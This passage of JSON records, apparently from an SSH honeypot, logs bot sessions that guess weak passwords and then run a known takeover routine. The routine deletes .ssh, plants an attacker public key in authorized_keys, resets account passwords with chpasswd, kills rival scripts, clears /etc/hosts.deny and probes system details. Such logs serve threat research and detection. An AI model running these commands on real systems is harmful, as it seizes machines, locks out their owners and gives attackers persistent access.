WHAT"},{"seq":17,"at":"2026-08-27T12:08:31.038382+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:08:31.587031+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:08:31.884049+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:08:32.543199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:08:32.839121+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:08:33.287680+00:00","kind":"output","latency_ms":null,"data":"top - 12:08:33 up 7 days, 8:58, 0 user, load average: 0.16, 0.14, 0.11\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:08:33.582597+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:08:34.277393+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:08:34.571141+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:08:35.062158+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:08:35.358997+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:08:36.197673+00:00","kind":"output","latency_ms":null,"data":"james"},{"seq":29,"at":"2026-08-27T12:08:36.494841+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:08:37.445778+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:08:37.744287+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:08:38.646684+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"james","password":"james@123","method":"password","accepted":true,"tier":"other"}]} {"id":"07573d42-faf8-4b04-9a52-d653d00b60bf","name":"woven-bitter-onager","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":51066,"username":"james","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:08:22.576098+00:00","ended_at":"2026-08-27T12:08:23.815584+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"james","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"85b29bb1-267c-401e-9fac-c73928d46730","name":"fearless-granite-siskin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":51056,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:08:20.973562+00:00","ended_at":"2026-08-27T12:08:21.995809+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"897bc932-7e0f-4cb1-bcd7-a13c7e8206ab","name":"cobalt-jaunty-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":48700,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":290,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:06:31.484188+00:00","ended_at":"2026-08-27T12:06:33.452428+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2293,"events":[{"seq":1,"at":"2026-08-27T12:06:14.463510+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:06:14.754381+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:06:18.587436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:06:19.009630+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:06:19.300389+00:00","kind":"input","latency_ms":null,"data":"echo \"root:G7W2S2LwNtKm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:06:19.592469+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:06:19.881271+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:06:20.521548+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:06:20.811846+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:06:22.043358+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:06:22.336574+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:06:23.680479+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:06:23.973473+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:06:24.804144+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:06:25.093236+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:06:25.500532+00:00","kind":"output","latency_ms":null,"data":" 12:06:25 up 7 days, 8:56, 0 user, load average: 0.06, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:06:25.791305+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:06:26.656805+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:06:26.947031+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:06:27.305480+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:06:27.596746+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:06:27.958122+00:00","kind":"output","latency_ms":null,"data":"top - 12:06:27 up 7 days, 8:56, 0 user, load average: 0.06, 0.05, 0.05\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:06:28.250925+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:06:28.553901+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:06:28.845198+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:06:29.143831+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:06:29.435226+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:06:29.847710+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:06:30.139643+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:06:31.194898+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:06:31.485141+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:06:33.372455+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password@123","method":"password","accepted":true,"tier":"other"}]} {"id":"014bca2a-1a53-4df7-b3a5-fe28460e7c7f","name":"arctic-velvet-llama","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":56626,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:06:17.019450+00:00","ended_at":"2026-08-27T12:06:18.502373+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f7af9d41-ae20-4d7d-b26a-9e7aeb21d295","name":"noble-wooded-albatross","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":56618,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:06:15.423884+00:00","ended_at":"2026-08-27T12:06:16.440664+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"edbe3741-fa43-44ee-afff-dd246675910e","name":"idle-mossy-gazelle","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":50798,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:04:22.495934+00:00","ended_at":"2026-08-27T12:04:24.262453+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-27T12:04:03.725797+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:04:04.022478+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:04:07.653751+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:04:08.003855+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:04:08.304126+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XRFGNUOJC1iB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:04:08.601706+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:04:08.899255+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:04:09.696068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:04:09.999097+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:04:11.216174+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:04:11.517221+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:04:12.793633+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:04:13.093131+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:04:13.660686+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:04:13.960824+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:04:14.756317+00:00","kind":"output","latency_ms":null,"data":" 12:04:14 up 7 days, 8:54, 0 user, load average: 0.11, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:04:15.056335+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:04:15.918813+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:04:16.218720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:04:17.005524+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:04:17.305755+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:04:17.967010+00:00","kind":"output","latency_ms":null,"data":"top - 12:04:17 up 7 days, 8:54, 0 user, load average: 0.11, 0.12, 0.11\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:04:18.264677+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:04:19.143231+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:04:19.442936+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:04:19.825137+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:04:20.123366+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:04:20.701654+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:04:21.002630+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:04:22.194195+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:04:22.496757+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:04:24.176210+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Db123456","method":"password","accepted":true,"tier":"other"}]} {"id":"8ae10f80-6137-47b5-9cd3-1224e63cb860","name":"ancient-alpine-chamois","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":60244,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:04:05.985837+00:00","ended_at":"2026-08-27T12:04:07.565543+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"88438354-dca9-4300-9189-aedaea73ad80","name":"marbled-diligent-gharial","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":50810,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:04:04.690619+00:00","ended_at":"2026-08-27T12:04:05.394822+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5493d2e7-4e58-45b0-a624-0fa3d82467be","name":"whispering-muted-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55178,"username":"ardi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:02:12.460990+00:00","ended_at":"2026-08-27T12:02:14.615074+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2214,"events":[{"seq":1,"at":"2026-08-27T12:01:54.756345+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:01:55.047866+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:01:59.600578+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:02:00.396382+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:02:00.690716+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ardi\\n0j1mkAGzgZkC\\n0j1mkAGzgZkC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:02:00.982093+00:00","kind":"input","latency_ms":null,"data":"echo \"ardi\\n0j1mkAGzgZkC\\n0j1mkAGzgZkC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:02:01.274766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:02:01.599097+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:02:01.894097+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:02:02.652171+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:02:02.945791+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:02:03.847326+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:02:04.142179+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:02:04.892994+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:02:05.187496+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:02:05.936481+00:00","kind":"output","latency_ms":null,"data":" 12:02:05 up 7 days, 8:52, 0 user, load average: 0.24, 0.25, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:02:06.231686+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:02:06.769097+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:02:07.062792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:02:07.353540+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:02:07.647819+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:02:08.400569+00:00","kind":"output","latency_ms":null,"data":"top - 12:02:08 up 7 days, 8:52, 0 user, load average: 0.24, 0.25, 0.18\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:02:08.694625+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:02:09.257520+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:02:09.550660+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:02:09.979786+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:02:10.275042+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:02:10.890190+00:00","kind":"output","latency_ms":null,"data":"ardi"},{"seq":29,"at":"2026-08-27T12:02:11.183696+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:02:12.168578+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:02:12.461807+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:02:14.527676+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ardi","password":"ardi","method":"password","accepted":true,"tier":"other"}]} {"id":"0fe50b1e-b29e-44ce-9f27-05b0b054f9f2","name":"tidal-rambling-vulture","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":53516,"username":"ardi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:01:57.742331+00:00","ended_at":"2026-08-27T12:01:59.516001+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ardi","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b80db9f3-99db-4651-b0b4-e9509ad6bd0b","name":"keen-somber-skua","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":53502,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:01:55.710461+00:00","ended_at":"2026-08-27T12:01:57.156269+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e1fa51d8-9fef-4b9a-be27-f43984500b82","name":"granite-eager-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":56422,"username":"camera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:00:00.688825+00:00","ended_at":"2026-08-27T12:00:02.199792+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2201,"events":[{"seq":1,"at":"2026-08-27T11:59:43.923552+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:59:44.218934+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd 